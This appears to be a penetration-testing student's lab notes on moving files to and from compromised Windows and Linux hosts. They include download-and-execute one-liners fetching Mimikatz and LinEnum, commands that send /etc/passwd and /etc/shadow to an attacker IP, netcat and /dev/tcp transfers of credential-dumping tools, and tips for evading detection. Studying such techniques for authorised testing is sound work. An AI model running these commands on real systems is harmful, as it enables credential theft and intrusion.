Skip to main content

File transfer

Imagine the scenario where we need to download or upload files to a target machine. There are situations where the usual mechanism might be blocked, so it's important to know many file transfer methods.

Windows

Base64

If the file is not very large, we can encoded in Base64 in one end, paste it in the console and decode it in the other side. It's important to check the file hash are the same on both ends to ensure the transfer was successful.

For example, we are transfering an RSA key:

adriangalera@htb[/htb]$ md5sum id_rsa

4e301756a07ded0a2dd6953abf015278 id_rsa

adriangalera@htb[/htb]$ cat id_rsa |base64 -w 0;echo

LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFsd0FBQUFkemMyZ3RjbgpOaEFBQUFBd0VBQVFBQUFJRUF6WjE0dzV1NU9laHR5SUJQSkg3Tm9Yai84YXNHRUcxcHpJbmtiN2hIMldRVGpMQWRYZE9kCno3YjJtd0tiSW56VmtTM1BUR3ZseGhDVkRRUmpBYzloQ3k1Q0duWnlLM3U2TjQ3RFhURFY0YUtkcXl0UTFUQXZZUHQwWm8KVWh2bEo5YUgxclgzVHUxM2FRWUNQTVdMc2JOV2tLWFJzSk11dTJONkJoRHVmQThhc0FBQUlRRGJXa3p3MjFwTThBQUFBSApjM05vTFhKellRQUFBSUVBeloxNHc1dTVPZWh0eUlCUEpIN05vWGovOGFzR0VHMXB6SW5rYjdoSDJXUVRqTEFkWGRPZHo3CmIybXdLYkluelZrUzNQVEd2bHhoQ1ZEUVJqQWM5aEN5NUNHblp5SzN1Nk40N0RYVERWNGFLZHF5dFExVEF2WVB0MFpvVWgKdmxKOWFIMXJYM1R1MTNhUVlDUE1XTHNiTldrS1hSc0pNdXUyTjZCaER1ZkE4YXNBQUFBREFRQUJBQUFBZ0NjQ28zRHBVSwpFdCtmWTZjY21JelZhL2NEL1hwTlRsRFZlaktkWVFib0ZPUFc5SjBxaUVoOEpyQWlxeXVlQTNNd1hTWFN3d3BHMkpvOTNPCllVS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4E301756A07DED0A2DD6953ABF015278 C:\Users\Public\id_rsa

This method might not always be possible. Windows Command Line utility (cmd.exe) has a maximum string length of 8,191 characters.

The same mechanism can be used to download or to upload files.

Powershell Web Downloads

Downloadfile(Async)

PS C:\htb> # Example: (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')

PS C:\htb> # Example: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')

PowerShell DownloadString - Fileless Method

As we previously discussed, fileless attacks work by using some operating system functions to download the payload and execute it directly. PowerShell can also be used to perform fileless attacks. Instead of downloading a PowerShell script to disk, we can run it directly in memory using the Invoke-Expression cmdlet or the alias IEX.

PS C:\htb> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
PS C:\htb> (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX

PowerShell Invoke-WebRequest

PS C:\htb> Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1

You can use the aliases iwr, curl, and wget instead of the Invoke-WebRequest full name.

There are two main sources of issues while downloading stuff from PowerShell:

  1. Internet Explorer is not yet configured. You can use -UseBasicParsing to bypass this.
Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX
  1. Errors related with SSL/TLS when certificate is not trusted. The solution is to execute this
PS C:\htb> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

SMB Downloads

You can use SMB server in the attacker machine:

sudo impacket-smbserver share -smb2support /tmp/smbshare
# with username/password
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

And use smb to download it in the victim:

copy \\192.168.220.133\share\nc.exe

With usernmae/password:

net use n: \\192.168.220.133\share /user:test test
copy n:\nc.exe

FTP Downloads

Run pyftpdlib FTP server in the attacker

sudo python3 -m pyftpdlib --port 21
PS C:\htb> (New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')

Or create a command file to download the file:

C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo GET file.txt >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
# Let's execute the command
C:\htb> ftp -v -n -s:ftpcommand.txt
# Let's verify
more file.txt

PowerShell Web Uploads

Most of the webserver need to be configured to accept uploads. To make thing easier, it exists the python uploadserver module, which is an extension of the http.server module:

python3 -m uploadserver

Now, we can use a PS script to do the upload. First we download and execcute the setup script. Later, we execute the Invoke-FileUpload.

PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
PS C:\htb> Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts

Another option is to have nc listening and use Invoke-WebRequest in the Windows machine.

Attacker:

nc -lvnp 8000

Victim:

PS C:\htb> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
PS C:\htb> Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64

SMB Uploads

Most firewall might block the SMB port. An alternative SMB can be run over HTTP using WebDAV. When you use SMB, it will first attempt to connect using the SMB protocol, and if there's no SMB share available, it will try to connect using HTTP.

In the attacker machine, we can run a WebDAV server:

sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous 

In the Windows machine, we can use the server as it was SMB:

dir \\192.168.49.128\DavWWWRoot
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\

DavWWWRoot is a special keyword recognized by the Windows Shell. You can use an existing folder if you want to avoid this keyword.

FTP Uploads

Let's run ftp server in the attacker machine:

sudo python3 -m pyftpdlib --port 21 --write

And now execute the upload:

PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')

or create and execute a command:

C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
# Now execute the command
C:\htb> ftp -v -n -s:ftpcommand.txt

Linux

Base64

The same encoding/decoding mechanism can be used to transfer files in Linux.

  1. Verify the encode base64
md5sum id_rsa
cat id_rsa |base64 -w 0;echo
  1. Copy the base64, decode and verify the hash
adriangalera@htb[/htb]$ echo -n 'LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFsd0FBQUFkemMyZ3RjbgpOaEFBQUFBd0VBQVFBQUFJRUF6WjE0dzV1NU9laHR5SUJQSkg3Tm9Yai84YXNHRUcxcHpJbmtiN2hIMldRVGpMQWRYZE9kCno3YjJtd0tiSW56VmtTM1BUR3ZseGhDVkRRUmpBYzloQ3k1Q0duWnlLM3U2TjQ3RFhURFY0YUtkcXl0UTFUQXZZUHQwWm8KVWh2bEo5YUgxclgzVHUxM2FRWUNQTVdMc2JOV2tLWFJzSk11dTJONkJoRHVmQThhc0FBQUlRRGJXa3p3MjFwTThBQUFBS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h
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Fileless operations

Thanks to the Linux pipes, we can execute a file without the need to download it:

curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

The same can be done with wget:

wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3

Download with Bash

Sometimes curl nor wget are available, in this case the built-in /dev/tcp bash device can be used.

# Connect to the server
exec 3<>/dev/tcp/10.10.10.32/80
# Perform the GET request
echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3
# Print the response
cat <&3

SSH

Make sure there's a SSH server running on the other side. Then use scp:

scp [email protected]:/root/myroot.txt . 

scp can be used as well to upload files:

scp /etc/passwd [email protected]:/home/htb-student/

Web upload

We can use uploadserver in the same way as mentioned before in the Windows section. We can configure uploadserver to work under HTTPS.

Create a self-signed certificate and start the server using the certificate.

openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

Now in the victim machine, we just need to pass the --insecure flag:

curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

Multiple web servers

There are many ways to start a web server in multiple programming languages:

  • Python3: python3 -m http.server
  • Python2: python2.7 -m SimpleHTTPServer
  • PHP: php -S 0.0.0.0:8000
  • Ruby: ruby -run -ehttpd . -p8000

Transfer files with code

So far, we have seen ways of moving files using existing tools. However, we can leverage the use of programming languges to transfer data as well.

  • Python 2.7:
python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
  • Python3:
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
  • PHP:
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'

Using fopen:

php -r 'const BUFFER = 1024; $fremote = 
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

Download the file and execute it directly

php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
  • Ruby:
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
  • Perl:
adriangalera@htb[/htb]$ perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
  • Javascript (for Windows):
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));

Save it as wget.js

C:\htb> cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
  • Visual Basic (VBScript)
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with

Save it as wget.vbs and use it:

C:\htb> cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1

We can use any programming language to perform upload operations, for example Python:

python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'

Other transfers

Netcat (nc)

Victim machine:

nc -l -p 8000 > SharpKatz.exe

Attacker machine:

adriangalera@htb[/htb]$ wget -q https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe
adriangalera@htb[/htb]$ nc -q 0 192.168.49.128 8000 < SharpKatz.exe

There might be variations of the commands to use depending if the binary is nc or ncat.

Additionally, we can have nc + /dev/tcp combination:

cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe

This will download to the IP, download file and save it as SharpKatz.exe.

WinRM

WinRM is some sort of SSH for Windows.

To start, confirm the connection can be executed with WinRM:

PS C:\htb> Test-NetConnection -ComputerName DATABASE01 -Port 5985

ComputerName : DATABASE01
RemoteAddress : 192.168.1.101
RemotePort : 5985
InterfaceAlias : Ethernet0
SourceAddress : 192.168.1.100
TcpTestSucceeded : True

Now, we'll define a session variable that we can reuse:

$Session = New-PSSession -ComputerName DATABASE01

Copy from attacker to victim:

PS C:\htb> Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\

Copy from victim to attacker:

PS C:\htb> Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session

RDP

Use copy-paste in the Remote Desktop Protocol (RDP).

If copy-past do not work, we can mount a disk using RDP.

rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'
xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer

Later, when we use the remote desktop, we can reach the shared disk in \\tsclient\.

For Windows, we can use the application mstsc.exe remote desktop client.

Protect file transfers

Specially when dealing with sensitive data, it is recommended to encrypt the data before the transfer.

In Windows, we can use https://www.powershellgallery.com/packages/DRTools/4.0.2.3/Content/Functions%5CInvoke-AESEncryption.ps1 to encrypt the files with AES.

PS C:\htb> Import-Module .\Invoke-AESEncryption.ps1
PS C:\htb> Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt

File encrypted to C:\htb\scan-results.txt.aes

In Linux, we can use openssl to encrypt the data:

adriangalera@htb[/htb]$ openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc

and decrypt it in the other side:

adriangalera@htb[/htb]$ openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd                    

Living off the land

Some binary programs can be used to perform more tasks than intended. Some of these tasks are:

  • Download
  • Upload
  • Command Execution
  • File R/W
  • Bypass

We can check if the binaries we have access can be used to do download or upload operations in the following websites:

For example, we can use certreq.exe to upload files:

C:\htb> certreq.exe -Post -config http://192.168.49.128:8000/ c:\windows\win.ini
Certificate Request Processor: The operation timed out 0x80072ee2 (WinHttp: 12002 ERROR_WINHTTP_TIMEOUT)

Or another example, we can use openssl to serve files:

openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh

And download it in the other side:

openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh

Detection

Usually there are mechanism to prevent this kind of file transfer. Most common tools to perform file transfer reveals known User-Agents.

In order to avoid detection, a good idea might be to change the user agent of the tool used (if possible).

Additionally, the mere execution of a blacklisted binary, might trigger some alarms.

We can use GTFOBins or LOLBas to find binaries that will do the thing we need and are not blacklisted.